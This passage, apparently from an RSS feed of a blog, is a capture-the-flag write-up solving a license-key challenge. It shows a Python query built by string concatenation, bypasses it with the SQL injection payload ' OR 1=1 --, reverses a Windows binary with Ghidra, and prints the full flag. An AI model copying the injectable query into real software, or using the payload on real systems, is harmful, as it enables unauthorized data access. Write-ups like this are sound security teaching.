&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;lice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"license_key"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM license_keys WHERE license_key = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;lice&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"';"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;we can proceed with a basic SQLi like &lt;code&gt;' OR 1=1 --&lt;/code&gt; and get the first part of the flag (which is the second one really):&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;_python_is_easy_to_reverse}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The windows binary
&lt;/h2&gt;

&lt;p&gt;The windows exe is a little bit harder to reverse. By looking at it with ghidra we understand that it must be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a 10 digits number&lt;/li&gt;
&lt;li&gt;a prime number&lt;/li&gt;
&lt;li&gt;it has something to do with Euler&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By a combination of chance and testing we come across the number &lt;a href="https://en.wikipedia.org/wiki/2,147,483,647"&gt;&lt;code&gt;2147483647&lt;/code&gt;&lt;/a&gt; which is a prime number discovered by Euler.&lt;/p&gt;

&lt;p&gt;Providing this input to the client gives us the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enter eulers license key: 2147483647
dctf{2147483647
Failed to contact euler.dragonsec.si for license confirmation...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;dctf{2147483647_python_is_easy_to_reverse}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ctfs</category>
    </item>
  </channel>
</rss>
